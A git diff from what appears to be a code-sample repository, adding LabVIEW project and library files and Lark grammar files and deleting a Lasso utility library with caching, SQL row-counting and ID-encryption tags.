+&lt;Navigation&gt; 
+ &lt;Item&gt;3040&lt;/Item&gt; 
+&lt;/Navigation&gt; 
+&lt;FileType&gt;LV Project&lt;/FileType&gt;
+&lt;Metadata&gt;
+&lt;Item Name="RTSupport"&gt;LV Project&lt;/Item&gt;
+&lt;/Metadata&gt;
+&lt;ProgrammingLanguages&gt;
+&lt;Item&gt;LabVIEW&lt;/Item&gt;
+&lt;/ProgrammingLanguages&gt;
+&lt;RequiredSoftware&gt;
+&lt;NiSoftware MinVersion="13.0"&gt;LabVIEW&lt;/NiSoftware&gt; 
+&lt;/RequiredSoftware&gt;</Property>
+	<Property Name="NI.Project.Description" Type="Str">Temperature Monitoring demonstrates a temperature monitoring application.  The main VI reads a simulated temperature and alarms if it is outside a given range. This example also shows a usage of the Continuous Measurement and Logging sample project, but it contains a subset of the functionality in that sample project.</Property>
+	<Item Name="My Computer" Type="My Computer">
+		<Property Name="IOScan.Faults" Type="Str"></Property>
+		<Property Name="IOScan.NetVarPeriod" Type="UInt">100</Property>
+		<Property Name="IOScan.NetWatchdogEnabled" Type="Bool">false</Property>
+		<Property Name="IOScan.Period" Type="UInt">10000</Property>
+		<Property Name="IOScan.PowerupMode" Type="UInt">0</Property>
+		<Property Name="IOScan.Priority" Type="UInt">9</Property>
+		<Property Name="IOScan.ReportModeConflict" Type="Bool">true</Property>
+		<Property Name="IOScan.StartEngineOnDeploy" Type="Bool">false</Property>
+		<Property Name="NI.SortType" Type="Int">3</Property>
+		<Property Name="server.app.propertiesEnabled" Type="Bool">true</Property>
+		<Property Name="server.control.propertiesEnabled" Type="Bool">true</Property>
+		<Property Name="server.tcp.enabled" Type="Bool">false</Property>
+		<Property Name="server.tcp.port" Type="Int">0</Property>
+		<Property Name="server.tcp.serviceName" Type="Str">My Computer/VI Server</Property>
+		<Property Name="server.tcp.serviceName.default" Type="Str">My Computer/VI Server</Property>
+		<Property Name="server.vi.callsEnabled" Type="Bool">true</Property>
+		<Property Name="server.vi.propertiesEnabled" Type="Bool">true</Property>
+		<Property Name="specify.custom.address" Type="Bool">false</Property>
+		<Item Name="Support VIs" Type="Folder">
+			<Property Name="NI.SortType" Type="Int">3</Property>
+			<Item Name="Temp Monitor Message Queue.lvlib" Type="Library" URL="../support/Message Queue/Temp Monitor Message Queue.lvlib"/>
+			<Item Name="Temp Monitor User Event - Stop.lvlib" Type="Library" URL="../support/User Event - Stop/Temp Monitor User Event - Stop.lvlib"/>
+			<Item Name="Temp Monitor Set Enable State on Multiple Controls.vi" Type="VI" URL="../support/Temp Monitor Set Enable State on Multiple Controls.vi"/>
+			<Item Name="Simulate Temperature Acquisition.vi" Type="VI" URL="../support/Simulate Temperature Acquisition.vi"/>
+			<Item Name="Send Data Notification.vi" Type="VI" URL="../support/Send Data Notification.vi"/>
+			<Item Name="Create Notifier for Simulated Data.vi" Type="VI" URL="../support/Create Notifier for Simulated Data.vi"/>
+			<Item Name="Set Alarm Colors and Get Alarm Text.vi" Type="VI" URL="../support/Set Alarm Colors and Get Alarm Text.vi"/>
+		</Item>
+		<Item Name="Type Definitions" Type="Folder">
+			<Item Name="Temp Monitor UI Data.ctl" Type="VI" URL="../controls/Temp Monitor UI Data.ctl"/>
+			<Item Name="Simulated Data.ctl" Type="VI" URL="../controls/Simulated Data.ctl"/>
+		</Item>
+		<Item Name="Temperature Monitoring.vi" Type="VI" URL="../Temperature Monitoring.vi"/>
+		<Item Name="Dependencies" Type="Dependencies">
+			<Item Name="vi.lib" Type="Folder">
+				<Item Name="Error Cluster From Error Code.vi" Type="VI" URL="/&lt;vilib&gt;/Utility/error.llb/Error Cluster From Error Code.vi"/>
+				<Item Name="Clear Errors.vi" Type="VI" URL="/&lt;vilib&gt;/Utility/error.llb/Clear Errors.vi"/>
+				<Item Name="DialogType.ctl" Type="VI" URL="/&lt;vilib&gt;/Utility/error.llb/DialogType.ctl"/>
+				<Item Name="General Error Handler.vi" Type="VI" URL="/&lt;vilib&gt;/Utility/error.llb/General Error Handler.vi"/>
+				<Item Name="Simple Error Handler.vi" Type="VI" URL="/&lt;vilib&gt;/Utility/error.llb/Simple Error Handler.vi"/>
+				<Item Name="LVTextColorsTypeDef.ctl" Type="VI" URL="/&lt;vilib&gt;/Utility/miscctls.llb/LVTextColorsTypeDef.ctl"/>
+				<Item Name="DialogTypeEnum.ctl" Type="VI" URL="/&lt;vilib&gt;/Utility/error.llb/DialogTypeEnum.ctl"/>
+				<Item Name="General Error Handler Core CORE.vi" Type="VI" URL="/&lt;vilib&gt;/Utility/error.llb/General Error Handler Core CORE.vi"/>
+				<Item Name="whitespace.ctl" Type="VI" URL="/&lt;vilib&gt;/Utility/error.llb/whitespace.ctl"/>
+				<Item Name="Check Special Tags.vi" Type="VI" URL="/&lt;vilib&gt;/Utility/error.llb/Check Special Tags.vi"/>
+				<Item Name="TagReturnType.ctl" Type="VI" URL="/&lt;vilib&gt;/Utility/error.llb/TagReturnType.ctl"/>
+				<Item Name="Set String Value.vi" Type="VI" URL="/&lt;vilib&gt;/Utility/error.llb/Set String Value.vi"/>
+				<Item Name="GetRTHostConnectedProp.vi" Type="VI" URL="/&lt;vilib&gt;/Utility/error.llb/GetRTHostConnectedProp.vi"/>
+				<Item Name="Error Code Database.vi" Type="VI" URL="/&lt;vilib&gt;/Utility/error.llb/Error Code Database.vi"/>
+				<Item Name="Trim Whitespace.vi" Type="VI" URL="/&lt;vilib&gt;/Utility/error.llb/Trim Whitespace.vi"/>
+				<Item Name="Format Message String.vi" Type="VI" URL="/&lt;vilib&gt;/Utility/error.llb/Format Message String.vi"/>
+				<Item Name="Find Tag.vi" Type="VI" URL="/&lt;vilib&gt;/Utility/error.llb/Find Tag.vi"/>
+				<Item Name="Search and Replace Pattern.vi" Type="VI" URL="/&lt;vilib&gt;/Utility/error.llb/Search and Replace Pattern.vi"/>
+				<Item Name="Set Bold Text.vi" Type="VI" URL="/&lt;vilib&gt;/Utility/error.llb/Set Bold Text.vi"/>
+				<Item Name="Details Display Dialog.vi" Type="VI" URL="/&lt;vilib&gt;/Utility/error.llb/Details Display Dialog.vi"/>
+				<Item Name="ErrWarn.ctl" Type="VI" URL="/&lt;vilib&gt;/Utility/error.llb/ErrWarn.ctl"/>
+				<Item Name="eventvkey.ctl" Type="VI" URL="/&lt;vilib&gt;/event_ctls.llb/eventvkey.ctl"/>
+				<Item Name="Not Found Dialog.vi" Type="VI" URL="/&lt;vilib&gt;/Utility/error.llb/Not Found Dialog.vi"/>
+				<Item Name="Three Button Dialog.vi" Type="VI" URL="/&lt;vilib&gt;/Utility/error.llb/Three Button Dialog.vi"/>
+				<Item Name="Three Button Dialog CORE.vi" Type="VI" URL="/&lt;vilib&gt;/Utility/error.llb/Three Button Dialog CORE.vi"/>
+				<Item Name="LVRectTypeDef.ctl" Type="VI" URL="/&lt;vilib&gt;/Utility/miscctls.llb/LVRectTypeDef.ctl"/>
+				<Item Name="Longest Line Length in Pixels.vi" Type="VI" URL="/&lt;vilib&gt;/Utility/error.llb/Longest Line Length in Pixels.vi"/>
+				<Item Name="Convert property node font to graphics font.vi" Type="VI" URL="/&lt;vilib&gt;/Utility/error.llb/Convert property node font to graphics font.vi"/>
+				<Item Name="Get Text Rect.vi" Type="VI" URL="/&lt;vilib&gt;/picture/picture.llb/Get Text Rect.vi"/>
+				<Item Name="Get String Text Bounds.vi" Type="VI" URL="/&lt;vilib&gt;/Utility/error.llb/Get String Text Bounds.vi"/>
+				<Item Name="LVBoundsTypeDef.ctl" Type="VI" URL="/&lt;vilib&gt;/Utility/miscctls.llb/LVBoundsTypeDef.ctl"/>
+				<Item Name="BuildHelpPath.vi" Type="VI" URL="/&lt;vilib&gt;/Utility/error.llb/BuildHelpPath.vi"/>
+				<Item Name="GetHelpDir.vi" Type="VI" URL="/&lt;vilib&gt;/Utility/error.llb/GetHelpDir.vi"/>
+			</Item>
+		</Item>
+		<Item Name="Build Specifications" Type="Build"/>
+	</Item>
+</Project>
diff --git a/samples/LabVIEW/Word Finder.lvproj b/samples/LabVIEW/Word Finder.lvproj
new file mode 100755
index 0000000000..3436ebd928
--- /dev/null
+++ b/samples/LabVIEW/Word Finder.lvproj	
@@ -0,0 +1,23 @@
+<?xml version='1.0' encoding='UTF-8'?>
+<Project Type="Project" LVVersion="19008000">
+	<Property Name="NI.LV.All.SourceOnly" Type="Bool">true</Property>
+	<Item Name="My Computer" Type="My Computer">
+		<Property Name="server.app.propertiesEnabled" Type="Bool">true</Property>
+		<Property Name="server.control.propertiesEnabled" Type="Bool">true</Property>
+		<Property Name="server.tcp.enabled" Type="Bool">false</Property>
+		<Property Name="server.tcp.port" Type="Int">0</Property>
+		<Property Name="server.tcp.serviceName" Type="Str">My Computer/</Property>
+		<Property Name="server.tcp.serviceName.default" Type="Str">My Computer/</Property>
+		<Property Name="server.vi.callsEnabled" Type="Bool">true</Property>
+		<Property Name="server.vi.propertiesEnabled" Type="Bool">true</Property>
+		<Property Name="specify.custom.address" Type="Bool">false</Property>
+		<Item Name="Gettysburg.txt" Type="Document" URL="../Gettysburg.txt"/>
+		<Item Name="Word Finder.vi" Type="VI" URL="../Word Finder.vi"/>
+		<Item Name="Dependencies" Type="Dependencies">
+			<Item Name="vi.lib" Type="Folder">
+				<Item Name="NI_SDE_InitOnFirstCall2.vim" Type="VI" URL="/&lt;vilib&gt;/Utility/NI_SDE_InitOnFirstCall2.vim"/>
+			</Item>
+		</Item>
+		<Item Name="Build Specifications" Type="Build"/>
+	</Item>
+</Project>
diff --git a/samples/LabVIEW/Work Dispatcher.lvlib b/samples/LabVIEW/Work Dispatcher.lvlib
new file mode 100755
index 0000000000..e5a4b359fe
--- /dev/null
+++ b/samples/LabVIEW/Work Dispatcher.lvlib	
@@ -0,0 +1,12 @@
+<?xml version='1.0' encoding='UTF-8'?>
+<Library LVVersion="19008000">
+	<Property Name="NI.Lib.Icon" Type="Bin">'1#!!!!!!!)!"1!&amp;!!!-!%!!!@````]!!!!"!!%!!!(^!!!*Q(C=\&gt;8"&lt;2MR%!813:"$A*T51;!7JA7VI";G"6V^6!P4AFJ1#^/#7F!,TN/'-(++=IC2(-TVS+O`80+:3[QDNP9VYEO]0GP@@NM_LD_\`K4&amp;2`NI`\;^0.WE\\ZH0]8D2;2'N3K6]:DK&gt;?1D(`H)2T\SFL?]Z3VP?=N,8P+3F\TE*5^ZSF/?]J3H@$PE)1^ZS*('Z'/C-?A99(2'C@%R0--T0-0D;QT0]!T0]!S0,D%]QT-]QT-]&lt;IPB':\B':\B-&gt;1GG?W1]QS0Y;.ZGK&gt;ZGK&gt;Z4"H.UQ"NMD:Q'Q1DWM6WUDT.UTR/IXG;JXG;JXF=DO:JHO:JHO:RS\9KP7E?BZT(-&amp;%]R6-]R6-]BI\C+:\C+:\C-6U54`%52*GQ$)Y1Z;&lt;3I8QJHO,R+YKH?)KH?)L(J?U*V&lt;9S$]XDE0-E4`)E4`)EDS%C?:)H?:)H?1Q&lt;S:-]S:-]S7/K3*\E3:Y%3:/;0N*A[=&lt;5+18*YW@&lt;,&lt;E^J&gt;YEO2U2;`0'WJ3R.FOM422L=]2[[,%?:KS(&amp;'PR9SVKL-7+N1CR`LB9[&amp;C97*0%OPH2-?Y_&lt;_KK,OKM4OKI$GKP&gt;I^&lt;`X,(_`U?N^MNLN&gt;L8#[8/*`0=4K&gt;YHA]RO&amp;QC0V_(\P&gt;\OUV].XR^E,Y_6Z[=@YH^5\`3`_$&gt;W.]DF`(N59`!/&lt;!-PQ!!!!!</Property>
+	<Property Name="NI.Lib.SourceVersion" Type="Int">419463168</Property>
+	<Property Name="NI.Lib.Version" Type="Str">1.0.0.0</Property>
+	<Property Name="NI.LV.All.SourceOnly" Type="Bool">true</Property>
+	<Item Name="Messages for this Actor" Type="Folder">
+		<Item Name="Add Available Worker Msg.lvclass" Type="LVClass" URL="../Work Dispatcher Messages/Add Available Worker Msg/Add Available Worker Msg.lvclass"/>
+		<Item Name="Add Task Msg.lvclass" Type="LVClass" URL="../Work Dispatcher Messages/Add Task Msg/Add Task Msg.lvclass"/>
+	</Item>
+	<Item Name="Work Dispatcher.lvclass" Type="LVClass" URL="../Work Dispatcher/Work Dispatcher.lvclass"/>
+</Library>
diff --git a/samples/LabVIEW/Worker.lvlib b/samples/LabVIEW/Worker.lvlib
new file mode 100755
index 0000000000..c5217a3e0f
--- /dev/null
+++ b/samples/LabVIEW/Worker.lvlib
@@ -0,0 +1,12 @@
+<?xml version='1.0' encoding='UTF-8'?>
+<Library LVVersion="19008000">
+	<Property Name="NI.Lib.Icon" Type="Bin">'1#!!!!!!!)!"1!&amp;!!!-!%!!!@````]!!!!"!!%!!!(]!!!*Q(C=\&gt;8"=&gt;MQ%!8143;(8.6"2CVM#WJ",7Q,SN&amp;(N&lt;!NK!7VM#WI"&lt;8A0$%94UZ2$P%E"Y.?G@I%A7=11U&gt;M\7P%FXB^VL\`NHV=@X&lt;^39O0^N(_&lt;8NZOEH@@=^_CM?,3)VK63LD-&gt;8LS%=_]J'0@/1N&lt;XH,7^\SFJ?]Z#5P?=F,HP+5JTTF+5`Z&gt;MB$(P+1)YX*RU2DU$(![)Q3YW.YBG&gt;YBM@8'*\B':\B'2Z&gt;9HC':XC':XD=&amp;M-T0--T0-.DK%USWS(H'2\$2`-U4`-U4`/9-JKH!&gt;JE&lt;?!W#%;UC_WE?:KH?:R']T20]T20]\A=T&gt;-]T&gt;-]T?/7&lt;66[UTQ//9^BIHC+JXC+JXA-(=640-640-6DOCC?YCG)-G%:(#(+4;6$_6)]R?.8&amp;%`R&amp;%`R&amp;)^,WR/K&lt;75?GM=BZUG?Z%G?Z%E?1U4S*%`S*%`S'$;3*XG3*XG3RV320-G40!G3*D6^J-(3D;F4#J,(T\:&lt;=HN+P5FS/S,7ZIWV+7.NNFC&lt;+.&lt;GC0819TX-7!]JVO,(7N29CR6L%7,^=&lt;(1M4#R*IFV][.DX(X?V&amp;6&gt;V&amp;G&gt;V&amp;%&gt;V&amp;\N(L@_Z9\X_TVONVN=L^?Y8#ZR0J`D&gt;$L&amp;]8C-Q_%1_`U_&gt;LP&gt;WWPAG_0NB@$TP@4C`%`KH@[8`A@PRPA=PYZLD8Y!#/7SO!!!!!!</Property>
+	<Property Name="NI.Lib.SourceVersion" Type="Int">419463168</Property>
+	<Property Name="NI.Lib.Version" Type="Str">1.0.0.0</Property>
+	<Property Name="NI.LV.All.SourceOnly" Type="Bool">true</Property>
+	<Item Name="Messages for this Actor" Type="Folder">
+		<Item Name="Increase Count Msg.lvclass" Type="LVClass" URL="../Person Messages/Increase Count Msg/Increase Count Msg.lvclass"/>
+		<Item Name="Process Job Msg.lvclass" Type="LVClass" URL="../Person Messages/Process Job Msg/Process Job Msg.lvclass"/>
+	</Item>
+	<Item Name="Worker.lvclass" Type="LVClass" URL="../Worker/Worker.lvclass"/>
+</Library>
diff --git a/samples/Lark/ebl_atf.lark b/samples/Lark/ebl_atf.lark
new file mode 100644
index 0000000000..a9e32decd8
--- /dev/null
+++ b/samples/Lark/ebl_atf.lark
@@ -0,0 +1,16 @@
+?start: line
+
+?line: empty_line
+     | note_line
+     | text_line
+     | dollar_line
+     | at_line
+     | control_line
+
+empty_line: /\s+/?
+
+!control_line.-2: ("=:" | "&" | "#") /.+/?
+
+%import .ebl_atf_text_line (text_line, any_word, note_line)
+%import .ebl_atf_dollar_line (dollar_line)
+%import .ebl_atf_at_line (at_line)
diff --git a/samples/Lark/ebl_atf_common.lark b/samples/Lark/ebl_atf_common.lark
new file mode 100644
index 0000000000..3d46e46e76
--- /dev/null
+++ b/samples/Lark/ebl_atf_common.lark
@@ -0,0 +1,18 @@
+%import common.DIGIT
+%import common.INT
+%import common.LCASE_LETTER
+
+seal : "seal "  INT
+
+free_text.-2 : /./+ " "*
+
+?object: OBJECT | generic_object | fragment
+OBJECT: "tablet" | "envelope" | "prism" | "bulla"
+fragment: "fragment " free_text
+generic_object : "object " free_text
+
+?surface: SURFACE | generic_surface | face | edge
+SURFACE: "obverse" | "reverse" | "left" | "right" | "top" | "bottom"
+face: "face " LCASE_LETTER
+edge: "edge" (" " LCASE_LETTER)?
+generic_surface : "surface " free_text
diff --git a/samples/Lark/lark.lark b/samples/Lark/lark.lark
new file mode 100644
index 0000000000..474b8198c2
--- /dev/null
+++ b/samples/Lark/lark.lark
@@ -0,0 +1,58 @@
+start: (_item? _NL)* _item?
+
+_item: rule
+     | token
+     | statement
+
+rule: RULE rule_params priority? ":" expansions
+token: TOKEN token_params priority? ":" expansions
+
+rule_params: ["{" RULE ("," RULE)* "}"]
+token_params: ["{" TOKEN ("," TOKEN)* "}"]
+
+priority: "." NUMBER
+
+statement: "%ignore" expansions                    -> ignore
+         | "%import" import_path ["->" name]       -> import
+         | "%import" import_path name_list         -> multi_import
+         | "%declare" name+                        -> declare
+
+!import_path: "."? name ("." name)*
+name_list: "(" name ("," name)* ")"
+
+?expansions: alias (_VBAR alias)*
+
+?alias: expansion ["->" RULE]
+
+?expansion: expr*
+
+?expr: atom [OP | "~" NUMBER [".." NUMBER]]
+
+?atom: "(" expansions ")"
+     | "[" expansions "]" -> maybe
+     | value
+
+?value: STRING ".." STRING -> literal_range
+      | name
+      | (REGEXP | STRING) -> literal
+      | name "{" value ("," value)* "}" -> template_usage
+
+name: RULE
+    | TOKEN
+
+_VBAR: _NL? "|"
+OP: /[+*]|[?](?![a-z])/
+RULE: /!?[_?]?[a-z][_a-z0-9]*/
+TOKEN: /_?[A-Z][_A-Z0-9]*/
+STRING: _STRING "i"?
+REGEXP: /\/(?!\/)(\\\/|\\\\|[^\/\n])*?\/[imslux]*/
+_NL: /(\r?\n)+\s*/
+
+%import common.ESCAPED_STRING -> _STRING
+%import common.SIGNED_INT -> NUMBER
+%import common.WS_INLINE
+
+COMMENT: /\s*/ "//" /[^\n]/*
+
+%ignore WS_INLINE
+%ignore COMMENT
diff --git a/samples/Lasso/knop.ldml b/samples/Lasso/knop.ldml
deleted file mode 100644
index 7aefe4e13d..0000000000
--- a/samples/Lasso/knop.ldml
+++ /dev/null
@@ -1,8342 +0,0 @@
-[/* 
-
-	On-Demand library for namespace knop
-	Namespace file built date 2012-06-10 02:05:30 by http://knop8/buildnamespace.lasso
-	Montania System AB
-
-*/]
-
-[
-//------------------------------------------------------------------
-//    Begin knop custom tags in util.inc
-//------------------------------------------------------------------
-
-]<?LassoScript
-
-/*
-
-2009-09-04	JS	Added content_body tag for compatibility with pre 8.5
-2009-05-07	JS	Added timestamp to knop_cachestore and -maxage parameter to knop_cachefetch
-2009-05-07	JS	Corrected construction of cache_name internally in the knop_cache tags so it will work correctly at the site root
-2008-11-04	JS	Added dummy knop_debug ctype to be able to work transparently with or without L-Debug
-2008-09-24	JS	Added knop_stripbackticks
-2008-01-28	JS	Cache tags: -name is now used also when using session storage
-2007-12-12	JS	Added knop_cachedelete
-2007-12-11	JS	Created knop_cachestore and knop_cachefetch
-2007-12-03	JS	Corrected knop_foundrows condition for returning normal found_count
-
-*/
-
-// For compatibility with pre Lasso 8.5 
-if(!lasso_tagexists('content_body'));
-	define_tag('content_body', -namespace='_global_');
-		return(@$__html_reply__);
-	/define_tag;
-/if;
-
-if(!lasso_tagexists('knop_debug'));
-	define_type('debug',
-		-namespace='knop_');
-		define_tag('_unknowntag');/define_tag;
-		define_tag('onconvert');/define_tag;
-	/define_type;
-/if;
-
-define_tag('stripbackticks', -description='Remove backticks (`) from a string to make it safe for MySQL object names',
-	-namespace='knop_',
-	-priority='replace',
-	-required='input');
-	local('output'=string(#input));
-	#output = #output -> split('`') -> first;
-	return(@#output);
-/define_tag;
-
-define_tag: 'unique', -description='Returns a very unique but still rather short random string',
-	-namespace='knop_',
-	-priority='replace';
-
-	// Johan Sölve 2006-09-20 
-	
-	local: 'output'=string,
-		'seed'=integer,
-		'charlist'='abcdefghijklmnopqrstuvwxyz0123456789';
-	local: 'base'=(#charlist -> size);
-	// start with the current date and time in a mixed up format as seed
-	#seed = integer: (date -> (format: '%S%y%m%d%H%M'));
-	// convert this integer to a string using base conversion
-	while: #seed>0;
-		#output = #charlist -> (get: (#seed % #base)+1) + #output;
-		#seed = #seed / #base;
-	/while;
-	// start over with a new chunk as seed
-	#seed = string: 1000+(date->millisecond);
-	#seed = #seed + string: (math_random: -lower=1000, -upper=9999);
-	#seed = integer: #seed;
-	// convert this integer to a string using base conversion
-	while: #seed>0;
-		#output = #charlist -> (get: (#seed % #base)+1) + #output;
-		#seed = #seed / #base;
-	/while;
-	return: #output;
-/define_tag;
-
-
-define_tag: 'seed', 
-	-namespace='knop_',
-	-priority='replace';
-	
-	local: 'seed'= (string: $__lassoservice_ip__) + response_localpath;
-	#seed -> removetrailing(response_filepath);
-	return:	 #seed;
-/define_tag;
-
-define_tag: 'foundrows', // http://tagswap.net/found_rows
-	-namespace='knop_',
-	-priority='replace';
-	local: 'sql'= action_statement;
-	if: (string_findregexp: #sql, -find= '\\sLIMIT\\s', -ignorecase) -> size == 0;
-		// || found_count < maxrecords_value; (this condition is inaccurate)
-		// found_count must be accurate
-		return: found_count;
-	/if;
-	if: (string_findregexp: #sql, -find= '\\s(GROUP\\s+BY|HAVING)\\s', -ignorecase) -> size == 0;
-		// Default method, usually the fastest. Can not be used with GROUP BY for example. 
-		// First normalize whitespace around FROM in the expression
-		#sql = (string_replaceregexp: #sql, -find= '\\sFROM\\s', -replace=' FROM ', -ignorecase, -ReplaceOnlyOne);
-		#sql = 'SELECT COUNT(*) AS found_rows ' + #sql -> (substring: (#sql -> (find: ' FROM ')) + 1) ;
-		#sql = (string_replaceregexp: #sql, -find='\\sLIMIT\\s+[0-9,]+', -replace='');
-		if: (string_findregexp: #sql, -find= '\\sORDER\\s+BY\\s', -ignorecase) -> size;
-			// remove ORDER BY statement since it causes problems with field aliases
-			// first normalize the expression so we can find it with simple string expression later
-			#sql = (string_replaceregexp: #sql, -find= '\\sORDER\\s+BY\\s', -replace=' ORDER BY ', -ignorecase);
-			#sql = #sql -> (substring: 1, (#sql -> (find: ' ORDER BY ')) -1);
-		/if;
-	else; // query contains GROUP BY so use SQL_CALC_FOUND_ROWS which can be much slower, see http://bugs.mysql.com/bug.php?id=18454
-		#sql -> (removeleading: 'SELECT');
-		#sql = 'SELECT SQL_CALC_FOUND_ROWS ' + #sql + ';SELECT FOUND_ROWS() AS found_rows';
-		#sql = (string_replaceregexp: #sql, -find='\\sLIMIT\\s+[0-9,]+', -replace=' LIMIT 1', -ignorecase);
-	/if;
-	inline: -sql=#sql;
-		if: (field: 'found_rows') > 0;
-			return: integer: (field: 'found_rows'); // exit here normally
-		/if;
-	/inline;
-	// fallback
-	return: found_count;
-/define_tag;	
-
-define_tag:'IDcrypt', -description='Encrypts or Decrypts integer values',
-	-namespace='knop_',
-	-required='value',
-	-optional='seed',
-	-priority='replace';
-/*
-
-[IDcrypt]
-Encrypts or Decrypts integer values
-
-Author: Pier Kuipers
-Last Modified: Jan. 29, 2007
-License: Public Domain
-
-Description:
-This tag was written to deal with "scraping" attacks where bots keep 
-requesting the same page with incremental id parameters, corresponding to 
-mysql id columns. Rather than introducing a new column with a unique id, this 
-tag will "intelligently" blowfish encrypt or decrypt existing id values.
-
-
-Sample Usage:
-[local('myID' = (action_param('id')))]
-[IDcrypt(#myID)]
-
-[IDcrypt('35446')] -> j4b50f315238d68df
-
-[IDcrypt('j4b50f315238d68df')] -> 35446
-
-
-
-Downloaded from tagSwap.net on Feb. 07, 2007.
-Latest version available from <http://tagSwap.net/IDcrypt>.
-
-*/
-// if id values need to be retrieved from bookmarked urls, the tag's built-in seed value must be used,
-// or the seed value used must be guaranteed to be the same as when the value was encrypted!		
-
-	local('cryptvalue' = string);
-	!local_defined('seed') ? local('seed' = knop_seed);
-	Local('RandChars' = 'AaBbCcDdEeFfGgHhiJjKkLmNnoPpQqRrSsTtUuVvWwXxYyZz');
-	Local('anyChar' = (#RandChars -> (Get:(Math_Random: -Min=1, -Max=(#RandChars->Size)))));
-// taken from Bil Corry's [lp_string_getNumeric]
-	local('numericValue' = (string_findregexp((string: #value), -find='\\d')->(join:'')));
-	
-	if(
-		(#numericValue == (integer(#value))) 
-		&& 
-		(((string(#value))->length) == ((string(#numericValue)) -> length))
-	);
-// alpha character is inserted at beginning of encrypted string in case value needs to be
-// cast to a javascript variable, which cannot start with a number		
-		#cryptvalue = (#anyChar + (Encrypt_Blowfish(#value, -seed=#seed)));
-	else(
-		((((string(#value))->length) - 1) % 2 == 0)
-		&&
-		(((string(#value))->length) > 16)
-	);
-		#cryptvalue = (decrypt_blowfish((String_Remove: #value, -StartPosition=1, -EndPosition=1),-Seed=#seed));
-	else;
-		#cryptvalue = 0;
-	/if;
-	
-	if(String_IsAlphaNumeric(#cryptvalue));
-		return(#cryptvalue);
-	else;
-// successfully decrypted values resulting in lots of strange characters are probably
-// the result of someone guessing a value		
-		return(0);
-	/if;
-
-/define_tag;
-
-
-
-define_type: 'timer', -description='Utility type to provide a simple timer',
-	-namespace='knop_';
-	/*
-	
-	CHANGE NOTES
-	2007-06-17	JS	Created the type
-	
-	*/
-
-	local: 't'=integer;
-	define_tag: 'oncreate';
-		(self -> 't') = _date_msec;
-	/define_tag;
-	define_tag: 'onconvert';
-		return: _date_msec - (self -> 't');
-	/define_tag;
-	
-/define_type;
-
-define_tag: 'cachestore', -description='Stores all instances of page variables of the specified type in a cache object. Caches are stored \
-		in a global variable named by host name and document root to isolate the storage of different hosts. \n\
-		Parameters:\n\
-		-type (required string) Page variables of the specified type will be stored in cache. Data types can be specified with or without namespace.\n\
-		-expires (optional integer) The number of seconds that the cached data should be valid. Defaults to 600 (10 minutes)\n\
-		-session (optional string) The name of an existing session to use for cache storage instead of the global storage\n\
-		-name (optional string) Extra name parameter to be able to isolate the cache storage from other sites on the same virtual hosts, or caches for different uses. ',
-	-namespace='knop_',
-	-required='type', -type='string',
-	-optional='expires', -type='integer', // seconds
-	-optional='session', -type='string',
-	-optional='name', -type='string';
-
-	local: 'data'=map;
-	!(local_defined: 'expires') ? local: 'expires'=600; // default seconds
-	// store all page vars of the specified type
-	iterate: vars -> keys, local: 'item';
-		if: (var: #item) -> isa(#type);
-			#data -> insert(#item = (var: #item));
-		/if;
-	/iterate;
-	if: (local_defined: 'session');
-		//fail_if: (session_id: -name=#session) -> size == 0, -1, 'Cachestore with -session requires that the specified session is started';
-		local: 'cache_name' = '_knop_cache_' + (local: 'name');
-		session_addvar: -name=#session, #cache_name;
-		!((var: #cache_name) -> isa('map')) ? var: #cache_name = map;
-		(var: #cache_name) -> insert(#type = (map: 
-			'content'=#data, 
-			'timestamp'=date, 
-			'expires'=(date + (duration: -second=#expires))));
-	else;
-		local: 'cache_name'='knop_' + (local: 'name') + '_' + server_name + response_localpath;
-		#cache_name -> removetrailing(response_filepath);
-		// initiate thread RW lock
-		!(global: 'rwlock_' + #cache_name) -> isa('rwlock') ? global: 'rwlock_' + #cache_name=Thread_RWLock;
-		// create a reference to the lock
-		local: 'lock'=@(global: 'rwlock_' + #cache_name);
-		// lock for writing
-		#lock -> writelock;
-		// check and initiate the cache storage
-		!((global: #cache_name) -> isa('map')) ? global: #cache_name = map;
-		(global: #cache_name) -> insert(#type = (map: 
-			'content'=#data, 
-			'timestamp'=date, 
-			'expires'=(date + (duration: -second=#expires))));
-		// unlock
-		#lock -> writeunlock;
-	/if;
-/define_tag;
-
-define_tag: 'cachefetch', -description='Recreates page variables from previously cached instances of the specified type, returns true if successful or false if there was no valid \
-		existing cache for the specified type. Caches are stored in a global variable named by host name and document root to isolate the storage of different hosts. \n\
-		Parameters:\n\
-		-type (required string) Page variables of the specified type will be stored in cache. \n\
-		-session (optional string) The name of an existing session to use for cache storage instead of the global storage\n\
-		-name (optional string) Extra name parameter to be able to isolate the cache storage from other sites on the same virtual hosts. \n\
-		-maxage (optional date) Cache data older than the date/time specified in -maxage will not be used.',
-	-namespace='knop_',
-	-required='type', -type='string',
-	-optional='session', -type='string',
-	-optional='name', -type='string',
-	-optional='maxage', -type='date';
-	
-	
-	local: 'data'=null;
-	if: (local_defined: 'session');
-		//fail_if: (session_id: -name=#session) -> size == 0, -1, 'Cachefetch with -session requires that the specified session is started';
-		local: 'cache_name' = '_knop_cache_' + (local: 'name');
-		if: (var: #cache_name) -> isa('map') 
-			&& (var: #cache_name) >> #type 
-			&& (var: #cache_name) -> find(#type) -> find('expires') > date;
-			if(local_defined('maxage') 
-				&& var(#cache_name) -> find(#type) -> find('timestamp') < #maxage);
-				// cached data too old
-			else;
-				#data = (var: #cache_name) -> find(#type) -> find('content');
-			/if;
-		/if;
-	else;
-		local: 'cache_name'='knop_' + (local: 'name') + '_' + server_name + response_localpath;
-		#cache_name -> removetrailing(response_filepath);
-		// initiate thread RW lock
-		!(global: 'rwlock_' + #cache_name) -> isa('rwlock') ? global: 'rwlock_' + #cache_name=Thread_RWLock;
-		// create a reference to the lock
-		local: 'lock'=@(global: 'rwlock_' + #cache_name);
-		// lock for reading
-		#lock -> readlock;
-		if: (global: #cache_name) -> isa('map') 
-			&& (global: #cache_name) >> #type 
-			&& (global: #cache_name) -> find(#type) -> find('expires') > date;
-			if(local_defined('maxage') 
-				&& global(#cache_name) -> find(#type) -> find('timestamp') < #maxage);
-				// cached data too old
-			else;
-				#data = (global: #cache_name) -> find(#type) -> find('content');
-			/if;
-		/if;
-		// unlock
-		#lock -> readunlock;
-	/if;
-	if: #data -> isa('map');
-		iterate: #data, local: 'item';
-			var: (#item -> name) = #item -> value;
-		/iterate;
-		return: true;
-	else;
-		return: false;
-	/if;
-/define_tag;
-
-
-define_tag: 'cachedelete', -description='Deletes the cache for the specified name (and optionally name). \n\
-		Parameters:\n\
